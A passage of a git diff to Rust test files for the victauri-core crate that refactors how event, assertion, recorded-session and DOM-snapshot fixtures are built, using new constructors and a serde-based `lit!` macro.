"string contains hello".to_string(), + victauri_core::AssertionCondition::Contains, + serde_json::json!("hello"), + ); assert!( victauri_core::evaluate_assertion(serde_json::json!("say hello world"), &assertion).passed @@ -814,20 +819,20 @@ fn semantic_assertion_contains() { #[test] fn semantic_assertion_comparisons() { - let gt = victauri_core::SemanticAssertion { - label: "greater than 10".to_string(), - condition: victauri_core::AssertionCondition::GreaterThan, - expected: serde_json::json!(10), - }; + let gt = victauri_core::SemanticAssertion::new( + "greater than 10".to_string(), + victauri_core::AssertionCondition::GreaterThan, + serde_json::json!(10), + ); assert!(victauri_core::evaluate_assertion(serde_json::json!(15), >).passed); assert!(!victauri_core::evaluate_assertion(serde_json::json!(5), >).passed); - let lt = victauri_core::SemanticAssertion { - label: "less than 10".to_string(), - condition: victauri_core::AssertionCondition::LessThan, - expected: serde_json::json!(10), - }; + let lt = victauri_core::SemanticAssertion::new( + "less than 10".to_string(), + victauri_core::AssertionCondition::LessThan, + serde_json::json!(10), + ); assert!(victauri_core::evaluate_assertion(serde_json::json!(5), <).passed); assert!(!victauri_core::evaluate_assertion(serde_json::json!(15), <).passed); @@ -835,11 +840,11 @@ fn semantic_assertion_comparisons() { #[test] fn semantic_assertion_type_is() { - let assertion = victauri_core::SemanticAssertion { - label: "is a string".to_string(), - condition: victauri_core::AssertionCondition::TypeIs, - expected: serde_json::json!("string"), - }; + let assertion = victauri_core::SemanticAssertion::new( + "is a string".to_string(), + victauri_core::AssertionCondition::TypeIs, + serde_json::json!("string"), + ); assert!(victauri_core::evaluate_assertion(serde_json::json!("hello"), &assertion).passed); assert!(!victauri_core::evaluate_assertion(serde_json::json!(42), &assertion).passed); @@ -847,11 +852,11 @@ fn semantic_assertion_type_is() { #[test] fn semantic_assertion_exists() { - let assertion = victauri_core::SemanticAssertion { - label: "value exists".to_string(), - condition: victauri_core::AssertionCondition::Exists, - expected: serde_json::Value::Null, - }; + let assertion = victauri_core::SemanticAssertion::new( + "value exists".to_string(), + victauri_core::AssertionCondition::Exists, + serde_json::Value::Null, + ); assert!(victauri_core::evaluate_assertion(serde_json::json!("something"), &assertion).passed); assert!(!victauri_core::evaluate_assertion(serde_json::Value::Null, &assertion).passed); @@ -879,21 +884,21 @@ fn recorder_record_events() { let recorder = EventRecorder::new(1000); recorder.start("s1".to_string()).unwrap(); - recorder.record_event(AppEvent::Ipc(IpcCall { - id: "1".to_string(), - command: "save".to_string(), - timestamp: Utc::now(), - duration_ms: Some(5), - result: event::IpcResult::Ok(serde_json::json!("ok")), - arg_size_bytes: 10, - webview_label: "main".to_string(), - })); - - recorder.record_event(AppEvent::StateChange { - key: "user".to_string(), - timestamp: Utc::now(), - caused_by: Some("save".to_string()), - }); + recorder.record_event(AppEvent::Ipc(IpcCall::new( + "1".to_string(), + "save".to_string(), + Utc::now(), + event::IpcResult::Ok(serde_json::json!("ok")), + Some(5), + 10, + "main".to_string(), + ))); + + recorder.record_event(AppEvent::state_change( + "user".to_string(), + Utc::now(), + Some("save".to_string()), + )); assert_eq!(recorder.event_count(), 2); @@ -914,15 +919,15 @@ fn recorder_checkpoints() { recorder.start("s1".to_string()).unwrap(); - recorder.record_event(AppEvent::Ipc(IpcCall { - id: "1".to_string(), - command: "load".to_string(), - timestamp: Utc::now(), - duration_ms: None, - result: event::IpcResult::Pending, - arg_size_bytes: 0, - webview_label: "main".to_string(), - })); + recorder.record_event(AppEvent::Ipc(IpcCall::new( + "1".to_string(), + "load".to_string(), + Utc::now(), + event::IpcResult::Pending, + None, + 0, + "main".to_string(), + ))); recorder .checkpoint( @@ -932,15 +937,15 @@ fn recorder_checkpoints() { ) .unwrap(); - recorder.record_event(AppEvent::Ipc(IpcCall { - id: "2".to_string(), - command: "save".to_string(), - timestamp: Utc::now(), - duration_ms: Some(5), - result: event::IpcResult::Ok(serde_json::json!("ok")), - arg_size_bytes: 10, - webview_label: "main".to_string(), - })); + recorder.record_event(AppEvent::Ipc(IpcCall::new( + "2".to_string(), + "save".to_string(), + Utc::now(), + event::IpcResult::Ok(serde_json::json!("ok")), + Some(5), + 10, + "main".to_string(), + ))); recorder .checkpoint( @@ -966,15 +971,15 @@ fn recorder_events_since() { recorder.start("s1".to_string()).unwrap(); for i in 0..5 { - recorder.record_event(AppEvent::Ipc(IpcCall { - id: i.to_string(), - command: format!("cmd_{i}"), - timestamp: Utc::now(), - duration_ms: None, - result: event::IpcResult::Pending, - arg_size_bytes: 0, - webview_label: "main".to_string(), - })); + recorder.record_event(AppEvent::Ipc(IpcCall::new( + i.to_string(), + format!("cmd_{i}"), + Utc::now(), + event::IpcResult::Pending, + None, + 0, + "main".to_string(), + ))); } let since_3 = recorder.events_since(3); @@ -988,39 +993,39 @@ fn recorder_events_between_checkpoints() { let recorder = EventRecorder::new(1000); recorder.start("s1".to_string()).unwrap(); - recorder.record_event(AppEvent::Ipc(IpcCall { - id: "0".to_string(), - command: "before".to_string(), - timestamp: Utc::now(), - duration_ms: None, - result: event::IpcResult::Pending, - arg_size_bytes: 0, - webview_label: "main".to_string(), - })); + recorder.record_event(AppEvent::Ipc(IpcCall::new( + "0".to_string(), + "before".to_string(), + Utc::now(), + event::IpcResult::Pending, + None, + 0, + "main".to_string(), + ))); recorder .checkpoint("cp1".to_string(), None, serde_json::json!(null)) .unwrap(); - recorder.record_event(AppEvent::Ipc(IpcCall { - id: "1".to_string(), - command: "between".to_string(), - timestamp: Utc::now(), - duration_ms: None, - result: event::IpcResult::Pending, - arg_size_bytes: 0, - webview_label: "main".to_string(), - })); - - recorder.record_event(AppEvent::Ipc(IpcCall { - id: "2".to_string(), - command: "between2".to_string(), - timestamp: Utc::now(), - duration_ms: None, - result: event::IpcResult::Pending, - arg_size_bytes: 0, - webview_label: "main".to_string(), - })); + recorder.record_event(AppEvent::Ipc(IpcCall::new( + "1".to_string(), + "between".to_string(), + Utc::now(), + event::IpcResult::Pending, + None, + 0, + "main".to_string(), + ))); + + recorder.record_event(AppEvent::Ipc(IpcCall::new( + "2".to_string(), + "between2".to_string(), + Utc::now(), + event::IpcResult::Pending, + None, + 0, + "main".to_string(), + ))); recorder .checkpoint("cp2".to_string(), None, serde_json::json!(null)) @@ -1041,31 +1046,27 @@ fn recorder_ipc_replay_sequence() { let recorder = EventRecorder::new(1000); recorder.start("s1".to_string()).unwrap(); - recorder.record_event(AppEvent::Ipc(IpcCall { - id: "1".to_string(), - command: "save".to_string(), - timestamp: Utc::now(), - duration_ms: Some(5), - result: event::IpcResult::Ok(serde_json::json!("ok")), - arg_size_bytes: 10, - webview_label: "main".to_string(), - })); - - recorder.record_event(AppEvent::StateChange { - key: "user".to_string(), - timestamp: Utc::now(), - caused_by: None, - }); - - recorder.record_event(AppEvent::Ipc(IpcCall { - id: "2".to_string(), - command: "load".to_string(), - timestamp: Utc::now(), - duration_ms: Some(3), - result: event::IpcResult::Ok(serde_json::json!("data")), - arg_size_bytes: 0, - webview_label: "main".to_string(), - })); + recorder.record_event(AppEvent::Ipc(IpcCall::new( + "1".to_string(), + "save".to_string(), + Utc::now(), + event::IpcResult::Ok(serde_json::json!("ok")), + Some(5), + 10, + "main".to_string(), + ))); + + recorder.record_event(AppEvent::state_change("user".to_string(), Utc::now(), None)); + + recorder.record_event(AppEvent::Ipc(IpcCall::new( + "2".to_string(), + "load".to_string(), + Utc::now(), + event::IpcResult::Ok(serde_json::json!("data")), + Some(3), + 0, + "main".to_string(), + ))); let replay = recorder.ipc_replay_sequence(); assert_eq!(replay.len(), 2); @@ -1087,11 +1088,7 @@ fn recorder_not_recording_returns_empty() { fn recorder_export_does_not_stop_recording() { let recorder = EventRecorder::new(1000); recorder.start("s1".to_string()).unwrap(); - recorder.record_event(AppEvent::StateChange { - key: "k".to_string(), - timestamp: Utc::now(), - caused_by: None, - }); + recorder.record_event(AppEvent::state_change("k".to_string(), Utc::now(), None)); let exported = recorder.export(); assert!(exported.is_some()); @@ -1105,11 +1102,7 @@ fn recorder_export_does_not_stop_recording() { ); assert_eq!(recorder.event_count(), 1); - recorder.record_event(AppEvent::StateChange { - key: "k2".to_string(), - timestamp: Utc::now(), - caused_by: None, - }); + recorder.record_event(AppEvent::state_change("k2".to_string(), Utc::now(), None)); assert_eq!(recorder.event_count(), 2); } @@ -1123,37 +1116,25 @@ fn recorder_export_returns_none_when_not_recording() { fn recorder_import_replaces_active_recording() { let recorder = EventRecorder::new(1000); recorder.start("original".to_string()).unwrap(); - recorder.record_event(AppEvent::StateChange { - key: "k".to_string(), - timestamp: Utc::now(), - caused_by: None, - }); - - let session = victauri_core::RecordedSession { - id: "imported".to_string(), - started_at: Utc::now(), - events: vec![ - victauri_core::RecordedEvent { - index: 0, - timestamp: Utc::now(), - event: AppEvent::StateChange { - key: "a".to_string(), - timestamp: Utc::now(), - caused_by: None, - }, - }, - victauri_core::RecordedEvent { - index: 1, - timestamp: Utc::now(), - event: AppEvent::StateChange { - key: "b".to_string(), - timestamp: Utc::now(), - caused_by: None, - }, - }, + recorder.record_event(AppEvent::state_change("k".to_string(), Utc::now(), None)); + + let session = victauri_core::RecordedSession::new( + "imported".to_string(), + Utc::now(), + vec![ + victauri_core::RecordedEvent::new( + 0, + Utc::now(), + AppEvent::state_change("a".to_string(), Utc::now(), None), + ), + victauri_core::RecordedEvent::new( + 1, + Utc::now(), + AppEvent::state_change("b".to_string(), Utc::now(), None), + ), ], - checkpoints: vec![], - }; + vec![], + ); recorder.import(session); assert!(recorder.is_recording()); @@ -1169,12 +1150,8 @@ fn recorder_import_when_not_recording() { let recorder = EventRecorder::new(1000); assert!(!recorder.is_recording()); - let session = victauri_core::RecordedSession { - id: "fresh".to_string(), - started_at: Utc::now(), - events: vec![], - checkpoints: vec![], - }; + let session = + victauri_core::RecordedSession::new("fresh".to_string(), Utc::now(), vec![], vec![]); recorder.import(session); assert!(recorder.is_recording()); @@ -1184,16 +1161,16 @@ fn recorder_import_when_not_recording() { #[test] fn truthy_falsy_are_never_both_true() { use victauri_core::verification; - let truthy = verification::SemanticAssertion { - label: "t".to_string(), - condition: verification::AssertionCondition::Truthy, - expected: serde_json::Value::Null, - }; - let falsy = verification::SemanticAssertion { - label: "f".to_string(), - condition: verification::AssertionCondition::Falsy, - expected: serde_json::Value::Null, - }; + let truthy = verification::SemanticAssertion::new( + "t".to_string(), + verification::AssertionCondition::Truthy, + serde_json::Value::Null, + ); + let falsy = verification::SemanticAssertion::new( + "f".to_string(), + verification::AssertionCondition::Falsy, + serde_json::Value::Null, + ); let test_values = vec![ serde_json::json!(null), serde_json::json!(true), @@ -1227,15 +1204,15 @@ mod adversarial { use std::thread; fn make_ipc(id: &str, cmd: &str) -> AppEvent { - AppEvent::Ipc(IpcCall { - id: id.to_string(), - command: cmd.to_string(), - timestamp: Utc::now(), - duration_ms: Some(1), - result: event::IpcResult::Ok(serde_json::json!("ok")), - arg_size_bytes: 0, - webview_label: "main".to_string(), - }) + AppEvent::Ipc(IpcCall::new( + id.to_string(), + cmd.to_string(), + Utc::now(), + event::IpcResult::Ok(serde_json::json!("ok")), + Some(1), + 0, + "main".to_string(), + )) } // ── Mutex poisoning recovery ──────────────────────────────────────── @@ -1475,11 +1452,11 @@ mod adversarial { #[test] fn assertion_truthy_edge_cases() { - let truthy = verification::SemanticAssertion { - label: "t".to_string(), - condition: verification::AssertionCondition::Truthy, - expected: serde_json::json!(null), - }; + let truthy = verification::SemanticAssertion::new( + "t".to_string(), + verification::AssertionCondition::Truthy, + serde_json::json!(null), + ); // 0 is falsy (JS semantics — Victauri evaluates JS expressions) assert!(!verification::evaluate_assertion(serde_json::json!(0), &truthy).passed); // Non-zero numbers are truthy @@ -1496,11 +1473,11 @@ mod adversarial { #[test] fn assertion_contains_in_array() { - let assertion = verification::SemanticAssertion { - label: "arr".to_string(), - condition: verification::AssertionCondition::Contains, - expected: serde_json::json!(2), - }; + let assertion = verification::SemanticAssertion::new( + "arr".to_string(), + verification::AssertionCondition::Contains, + serde_json::json!(2), + ); assert!(verification::evaluate_assertion(serde_json::json!([1, 2, 3]), &assertion).passed); assert!(!verification::evaluate_assertion(serde_json::json!([1, 3, 5]), &assertion).passed); } @@ -1518,15 +1495,15 @@ mod adversarial { #[test] fn ipc_integrity_detects_errors() { let log = EventLog::new(100); - log.push(AppEvent::Ipc(IpcCall { - id: "err1".to_string(), - command: "broken_cmd".to_string(), - timestamp: Utc::now(), - duration_ms: None, - result: event::IpcResult::Err("something failed".to_string()), - arg_size_bytes: 0, - webview_label: "main".to_string(), - })); + log.push(AppEvent::Ipc(IpcCall::new( + "err1".to_string(), + "broken_cmd".to_string(), + Utc::now(), + event::IpcResult::Err("something failed".to_string()), + None, + 0, + "main".to_string(), + ))); let report = check_ipc_integrity(&log, 5000); assert!(!report.healthy); assert_eq!(report.errored, 1); @@ -1685,26 +1662,26 @@ mod adversarial { let log = EventLog::new(100); let t1 = Utc::now(); std::thread::sleep(std::time::Duration::from_millis(10)); - log.push(AppEvent::Ipc(IpcCall { - id: "1".to_string(), - command: "old".to_string(), - timestamp: t1, - duration_ms: None, - result: event::IpcResult::Pending, - arg_size_bytes: 0, - webview_label: "main".to_string(), - })); + log.push(AppEvent::Ipc(IpcCall::new( + "1".to_string(), + "old".to_string(), + t1, + event::IpcResult::Pending, + None, + 0, + "main".to_string(), + ))); let t2 = Utc::now(); std::thread::sleep(std::time::Duration::from_millis(10)); - log.push(AppEvent::Ipc(IpcCall { - id: "2".to_string(), - command: "new".to_string(), - timestamp: Utc::now(), - duration_ms: None, - result: event::IpcResult::Pending, - arg_size_bytes: 0, - webview_label: "main".to_string(), - })); + log.push(AppEvent::Ipc(IpcCall::new( + "2".to_string(), + "new".to_string(), + Utc::now(), + event::IpcResult::Pending, + None, + 0, + "main".to_string(), + ))); let since = log.since(t2); assert_eq!(since.len(), 1); @@ -1716,30 +1693,22 @@ mod adversarial { let past = Utc::now() - chrono::Duration::seconds(10); let future = Utc::now() + chrono::Duration::seconds(10); - log.push(AppEvent::Ipc(IpcCall { - id: "1".to_string(), - command: "test".to_string(), - timestamp: past, - duration_ms: None, - result: event::IpcResult::Pending, - arg_size_bytes: 0, - webview_label: "main".to_string(), - })); - log.push(AppEvent::StateChange { - key: "k".to_string(), - timestamp: future, - caused_by: None, - }); - log.push(AppEvent::DomMutation { - webview_label: "main".to_string(), - timestamp: past, - mutation_count: 1, - }); - log.push(AppEvent::WindowEvent { - label: "main".to_string(), - event: "focus".to_string(), - timestamp: future, - }); + log.push(AppEvent::Ipc(IpcCall::new( + "1".to_string(), + "test".to_string(), + past, + event::IpcResult::Pending, + None, + 0, + "main".to_string(), + ))); + log.push(AppEvent::state_change("k".to_string(), future, None)); + log.push(AppEvent::dom_mutation("main".to_string(), past, 1)); + log.push(AppEvent::window_event( + "main".to_string(), + "focus".to_string(), + future, + )); let since = log.since(Utc::now()); assert_eq!(since.len(), 2); // only the future ones @@ -1789,29 +1758,25 @@ mod adversarial { let log = EventLog::new(100); let past = Utc::now() - chrono::Duration::seconds(10); - log.push(AppEvent::Ipc(IpcCall { - id: "old".to_string(), - command: "old_cmd".to_string(), - timestamp: past, - duration_ms: None, - result: event::IpcResult::Pending, - arg_size_bytes: 0, - webview_label: "main".to_string(), - })); - log.push(AppEvent::StateChange { - key: "k".to_string(), - timestamp: Utc::now(), - caused_by: None, - }); - log.push(AppEvent::Ipc(IpcCall { - id: "new".to_string(), - command: "new_cmd".to_string(), - timestamp: Utc::now(), - duration_ms: Some(1), - result: event::IpcResult::Ok(serde_json::json!("ok")), - arg_size_bytes: 0, - webview_label: "main".to_string(), - })); + log.push(AppEvent::Ipc(IpcCall::new( + "old".to_string(), + "old_cmd".to_string(), + past, + event::IpcResult::Pending, + None, + 0, + "main".to_string(), + ))); + log.push(AppEvent::state_change("k".to_string(), Utc::now(), None)); + log.push(AppEvent::Ipc(IpcCall::new( + "new".to_string(), + "new_cmd".to_string(), + Utc::now(), + event::IpcResult::Ok(serde_json::json!("ok")), + Some(1), + 0, + "main".to_string(), + ))); let calls = log.ipc_calls_since(Utc::now() - chrono::Duration::seconds(1)); assert_eq!(calls.len(), 1); @@ -1822,27 +1787,27 @@ mod adversarial { // ── Additional EventLog tests ───────────────────────────────────────────── fn make_ipc_at(id: &str, cmd: &str, ts: DateTime) -> AppEvent { - AppEvent::Ipc(IpcCall { - id: id.to_string(), - command: cmd.to_string(), - timestamp: ts, - duration_ms: Some(1), - result: event::IpcResult::Ok(serde_json::json!("ok")), - arg_size_bytes: 0, - webview_label: "main".to_string(), - }) + AppEvent::Ipc(IpcCall::new( + id.to_string(), + cmd.to_string(), + ts, + event::IpcResult::Ok(serde_json::json!("ok")), + Some(1), + 0, + "main".to_string(), + )) } fn make_ipc_simple(id: &str, cmd: &str) -> AppEvent { - AppEvent::Ipc(IpcCall { - id: id.to_string(), - command: cmd.to_string(), - timestamp: Utc::now(), - duration_ms: Some(1), - result: event::IpcResult::Ok(serde_json::json!("ok")), - arg_size_bytes: 0, - webview_label: "main".to_string(), - }) + AppEvent::Ipc(IpcCall::new( + id.to_string(), + cmd.to_string(), + Utc::now(), + event::IpcResult::Ok(serde_json::json!("ok")), + Some(1), + 0, + "main".to_string(), + )) } #[test] @@ -1970,38 +1935,22 @@ fn event_log_since_filters_all_event_types() { let cutoff = Utc::now(); log.push(make_ipc_at("1", "old_ipc", t_old)); - log.push(AppEvent::StateChange { - key: "old_state".to_string(), - timestamp: t_old, - caused_by: None, - }); - log.push(AppEvent::DomMutation { - webview_label: "main".to_string(), - timestamp: t_old, - mutation_count: 5, - }); - log.push(AppEvent::WindowEvent { - label: "main".to_string(), - event: "old_focus".to_string(), - timestamp: t_old, - }); + log.push(AppEvent::state_change("old_state".to_string(), t_old, None)); + log.push(AppEvent::dom_mutation("main".to_string(), t_old, 5)); + log.push(AppEvent::window_event( + "main".to_string(), + "old_focus".to_string(), + t_old, + )); log.push(make_ipc_at("2", "new_ipc", t_new)); - log.push(AppEvent::StateChange { - key: "new_state".to_string(), - timestamp: t_new, - caused_by: None, - }); - log.push(AppEvent::DomMutation { - webview_label: "main".to_string(), - timestamp: t_new, - mutation_count: 10, - }); - log.push(AppEvent::WindowEvent { - label: "main".to_string(), - event: "new_focus".to_string(), - timestamp: t_new, - }); + log.push(AppEvent::state_change("new_state".to_string(), t_new, None)); + log.push(AppEvent::dom_mutation("main".to_string(), t_new, 10)); + log.push(AppEvent::window_event( + "main".to_string(), + "new_focus".to_string(), + t_new, + )); let recent = log.since(cutoff); assert_eq!(recent.len(), 4); @@ -2028,21 +1977,17 @@ fn event_log_ipc_calls_returns_only_ipc_events() { let log = EventLog::new(100); log.push(make_ipc_simple("1", "save")); - log.push(AppEvent::StateChange { - key: "data".to_string(), - timestamp: Utc::now(), - caused_by: Some("save".to_string()), - }); - log.push(AppEvent::DomMutation { - webview_label: "main".to_string(), - timestamp: Utc::now(), - mutation_count: 3, - }); - log.push(AppEvent::WindowEvent { - label: "main".to_string(), - event: "resize".to_string(), - timestamp: Utc::now(), - }); + log.push(AppEvent::state_change( + "data".to_string(), + Utc::now(), + Some("save".to_string()), + )); + log.push(AppEvent::dom_mutation("main".to_string(), Utc::now(), 3)); + log.push(AppEvent::window_event( + "main".to_string(), + "resize".to_string(), + Utc::now(), + )); log.push(make_ipc_simple("2", "load")); assert_eq!(log.len(), 5); @@ -2057,21 +2002,13 @@ fn event_log_ipc_calls_returns_only_ipc_events() { fn event_log_ipc_calls_empty_when_no_ipc_events() { let log = EventLog::new(100); - log.push(AppEvent::StateChange { - key: "data".to_string(), - timestamp: Utc::now(), - caused_by: None, - }); - log.push(AppEvent::DomMutation { - webview_label: "main".to_string(), - timestamp: Utc::now(), - mutation_count: 1, - }); - log.push(AppEvent::WindowEvent { - label: "main".to_string(), - event: "focus".to_string(), - timestamp: Utc::now(), - }); + log.push(AppEvent::state_change("data".to_string(), Utc::now(), None)); + log.push(AppEvent::dom_mutation("main".to_string(), Utc::now(), 1)); + log.push(AppEvent::window_event( + "main".to_string(), + "focus".to_string(), + Utc::now(), + )); assert_eq!(log.len(), 3); assert!(log.ipc_calls().is_empty()); @@ -2085,11 +2022,7 @@ fn event_log_ipc_calls_since_filters_by_timestamp() { let cutoff = Utc::now() - chrono::Duration::seconds(30); log.push(make_ipc_at("1", "old_cmd", t_old)); - log.push(AppEvent::StateChange { - key: "k".to_string(), - timestamp: t_new, - caused_by: None, - }); + log.push(AppEvent::state_change("k".to_string(), t_new, None)); log.push(make_ipc_at("2", "new_cmd", t_new)); let calls = log.ipc_calls_since(cutoff); @@ -2103,16 +2036,12 @@ fn event_log_ipc_calls_since_excludes_non_ipc() { let ts = Utc::now(); // Add non-IPC events with recent timestamps - log.push(AppEvent::StateChange { - key: "k".to_string(), - timestamp: ts, - caused_by: None, - }); - log.push(AppEvent::WindowEvent { - label: "main".to_string(), - event: "focus".to_string(), - timestamp: ts, - }); + log.push(AppEvent::state_change("k".to_string(), ts, None)); + log.push(AppEvent::window_event( + "main".to_string(), + "focus".to_string(), + ts, + )); let calls = log.ipc_calls_since(ts - chrono::Duration::seconds(1)); assert!(calls.is_empty()); @@ -2209,16 +2138,12 @@ fn event_log_ring_buffer_eviction_mixed_event_types() { let log = EventLog::new(3); log.push(make_ipc_simple("1", "ipc_1")); - log.push(AppEvent::StateChange { - key: "state_1".to_string(), - timestamp: Utc::now(), - caused_by: None, - }); - log.push(AppEvent::DomMutation { - webview_label: "main".to_string(), - timestamp: Utc::now(), - mutation_count: 1, - }); + log.push(AppEvent::state_change( + "state_1".to_string(), + Utc::now(), + None, + )); + log.push(AppEvent::dom_mutation("main".to_string(), Utc::now(), 1)); // At capacity. Push one more IPC to evict ipc_1. log.push(make_ipc_simple("2", "ipc_2")); @@ -2421,11 +2346,7 @@ fn recorder_event_count_increments() { recorder.record_event(make_ipc_simple("2", "cmd2")); assert_eq!(recorder.event_count(), 2); - recorder.record_event(AppEvent::StateChange { - key: "k".to_string(), - timestamp: Utc::now(), - caused_by: None, - }); + recorder.record_event(AppEvent::state_change("k".to_string(), Utc::now(), None)); assert_eq!(recorder.event_count(), 3); } @@ -2473,50 +2394,50 @@ fn recorder_is_recording_lifecycle() { #[test] fn dom_snapshot_accessible_text_nested_indentation() { - let snapshot = DomSnapshot { + let snapshot = lit!(DomSnapshot { webview_label: "main".to_string(), - elements: vec![DomElement { + elements: vec![lit!(DomElement { ref_id: "e0".to_string(), tag: "div".to_string(), role: Some("navigation".to_string()), name: Some("Nav".to_string()), - text: None, - value: None, + text: Option::<()>::None, + value: Option::<()>::None, enabled: true, visible: true, focusable: false, - bounds: None, - children: vec![DomElement { + bounds: Option::<()>::None, + children: vec![lit!(DomElement { ref_id: "e1".to_string(), tag: "ul".to_string(), role: Some("list".to_string()), - name: None, - text: None, - value: None, + name: Option::<()>::None, + text: Option::<()>::None, + value: Option::<()>::None, enabled: true, visible: true, focusable: false, - bounds: None, - children: vec![DomElement { + bounds: Option::<()>::None, + children: vec![lit!(DomElement { ref_id: "e2".to_string(), tag: "button".to_string(), role: Some("button".to_string()), name: Some("Home".to_string()), text: Some("Home".to_string()), - value: None, + value: Option::<()>::None, enabled: true, visible: true, focusable: true, - bounds: None, - children: vec![], - attributes: BTreeMap::new(), - }], - attributes: BTreeMap::new(), - }], - attributes: BTreeMap::new(), - }], - ref_map: BTreeMap::new(), - }; + bounds: Option::<()>::None, + children: Vec::<()>::new(), + attributes: BTreeMap::::new(), + })], + attributes: BTreeMap::::new(), + })], + attributes: BTreeMap::::new(), + })], + ref_map: BTreeMap::::new(), + }); let text = snapshot.to_accessible_text(0); @@ -2530,53 +2451,53 @@ fn dom_snapshot_accessible_text_nested_indentation() { #[test] fn dom_snapshot_accessible_text_skips_invisible_children() { - let snapshot = DomSnapshot { + let snapshot = lit!(DomSnapshot { webview_label: "main".to_string(), - elements: vec![DomElement { + elements: vec![lit!(DomElement { ref_id: "e0".to_string(), tag: "div".to_string(), - role: None, - name: None, - text: None, - value: None, + role: Option::<()>::None, + name: Option::<()>::None, + text: Option::<()>::None, + value: Option::<()>::None, enabled: true, visible: true, focusable: false, - bounds: None, + bounds: Option::<()>::None, children: vec![ - DomElement { + lit!(DomElement { ref_id: "e1".to_string(), tag: "button".to_string(), role: Some("button".to_string()), name: Some("Visible".to_string()), - text: None, - value: None, + text: Option::<()>::None, + value: Option::<()>::None, enabled: true, visible: true, focusable: true, - bounds: None, - children: vec![], - attributes: BTreeMap::new(), - }, - DomElement { + bounds: Option::<()>::None, + children: Vec::<()>::new(), + attributes: BTreeMap::::new(), + }), + lit!(DomElement { ref_id: "e2".to_string(), tag: "button".to_string(), role: Some("button".to_string()), name: Some("Hidden".to_string()), - text: None, - value: None, + text: Option::<()>::None, + value: Option::<()>::None, enabled: true, visible: false, focusable: true, - bounds: None, - children: vec![], - attributes: BTreeMap::new(), - }, + bounds: Option::<()>::None, + children: Vec::<()>::new(), + attributes: BTreeMap::::new(), + }), ], - attributes: BTreeMap::new(), - }], - ref_map: BTreeMap::new(), - }; + attributes: BTreeMap::::new(), + })], + ref_map: BTreeMap::::new(), + }); let text = snapshot.to_accessible_text(0); assert!(text.contains("Visible")); @@ -2585,54 +2506,54 @@ fn dom_snapshot_accessible_text_skips_invisible_children() { #[test] fn dom_snapshot_accessible_text_ref_on_focusable_and_input() { - let snapshot = DomSnapshot { + let snapshot = lit!(DomSnapshot { webview_label: "main".to_string(), elements: vec![ - DomElement { + lit!(DomElement { ref_id: "e0".to_string(), tag: "div".to_string(), - role: None, + role: Option::<()>::None, name: Some("Container".to_string()), - text: None, - value: None, + text: Option::<()>::None, + value: Option::<()>::None, enabled: true, visible: true, - focusable: false, // not focusable, not button/input => no ref - bounds: None, - children: vec![], - attributes: BTreeMap::new(), - }, - DomElement { + focusable: false, + bounds: Option::<()>::None, + children: Vec::<()>::new(), + attributes: BTreeMap::::new(), + }), + lit!(DomElement { ref_id: "e1".to_string(), tag: "input".to_string(), role: Some("textbox".to_string()), name: Some("Name".to_string()), - text: None, - value: None, + text: Option::<()>::None, + value: Option::<()>::None, enabled: true, visible: true, - focusable: false, // input tag => ref regardless of focusable - bounds: None, - children: vec![], - attributes: BTreeMap::new(), - }, - DomElement { + focusable: false, + bounds: Option::<()>::None, + children: Vec::<()>::new(), + attributes: BTreeMap::::new(), + }), + lit!(DomElement { ref_id: "e2".to_string(), tag: "span".to_string(), - role: None, + role: Option::<()>::None, name: Some("Label".to_string()), - text: None, - value: None, + text: Option::<()>::None, + value: Option::<()>::None, enabled: true, visible: true, - focusable: true, // focusable => ref - bounds: None, - children: vec![], - attributes: BTreeMap::new(), - }, + focusable: true, + bounds: Option::<()>::None, + children: Vec::<()>::new(), + attributes: BTreeMap::::new(), + }), ], - ref_map: BTreeMap::new(), - }; + ref_map: BTreeMap::::new(), + }); let text = snapshot.to_accessible_text(0); @@ -2649,24 +2570,24 @@ fn dom_snapshot_accessible_text_ref_on_focusable_and_input() { #[test] fn dom_snapshot_accessible_text_custom_starting_indent() { - let snapshot = DomSnapshot { + let snapshot = lit!(DomSnapshot { webview_label: "main".to_string(), - elements: vec![DomElement { + elements: vec![lit!(DomElement { ref_id: "e0".to_string(), tag: "div".to_string(), role: Some("main".to_string()), - name: None, - text: None, - value: None, + name: Option::<()>::None, + text: Option::<()>::None, + value: Option::<()>::None, enabled: true, visible: true, focusable: false, - bounds: None, - children: vec![], - attributes: BTreeMap::new(), - }], - ref_map: BTreeMap::new(), - }; + bounds: Option::<()>::None, + children: Vec::<()>::new(), + attributes: BTreeMap::::new(), + })], + ref_map: BTreeMap::::new(), + }); // Start at indent 3 => 6 spaces prefix let text = snapshot.to_accessible_text(3); @@ -2675,11 +2596,11 @@ fn dom_snapshot_accessible_text_custom_starting_indent() { #[test] fn dom_snapshot_accessible_text_empty_elements() { - let snapshot = DomSnapshot { + let snapshot = lit!(DomSnapshot { webview_label: "main".to_string(), - elements: vec![], - ref_map: BTreeMap::new(), - }; + elements: Vec::<()>::new(), + ref_map: BTreeMap::::new(), + }); let text = snapshot.to_accessible_text(0); assert!(text.is_empty()); @@ -2687,24 +2608,24 @@ fn dom_snapshot_accessible_text_empty_elements() { #[test] fn dom_snapshot_accessible_text_uses_tag_when_no_role() { - let snapshot = DomSnapshot { + let snapshot = lit!(DomSnapshot { webview_label: "main".to_string(), - elements: vec![DomElement { + elements: vec![lit!(DomElement { ref_id: "e0".to_string(), tag: "section".to_string(), - role: None, // no role => falls back to tag name + role: Option::<()>::None, name: Some("Content".to_string()), - text: None, - value: None, + text: Option::<()>::None, + value: Option::<()>::None, enabled: true, visible: true, focusable: false, - bounds: None, - children: vec![], - attributes: BTreeMap::new(), - }], - ref_map: BTreeMap::new(), - }; + bounds: Option::<()>::None, + children: Vec::<()>::new(), + attributes: BTreeMap::::new(), + })], + ref_map: BTreeMap::::new(), + }); let text = snapshot.to_accessible_text(0); assert!(text.contains("- section \"Content\"")); diff --git a/crates/victauri-core/tests/deep_adversarial_tests.rs b/crates/victauri-core/tests/deep_adversarial_tests.rs index ef74a1ba..785e91b3 100644 --- a/crates/victauri-core/tests/deep_adversarial_tests.rs +++ b/crates/victauri-core/tests/deep_adversarial_tests.rs @@ -8,91 +8,91 @@ use victauri_core::types::DivergenceSeverity; use victauri_core::verification::AssertionCondition; use victauri_core::*; +/// Builds a `#[non_exhaustive]` output type (e.g. `DomSnapshot`, `VerificationResult`) +/// from named fields. These types are produced by victauri, never constructed by +/// consumers, so outside the crate the only way to fabricate one is through serde — +/// exactly how a client receives them. +macro_rules! lit { + ($t:path { $($f:ident : $v:expr),* $(,)? }) => {{ + let mut map = serde_json::Map::new(); + $( map.insert(stringify!($f).to_owned(), serde_json::to_value($v).expect("serialize field")); )* + 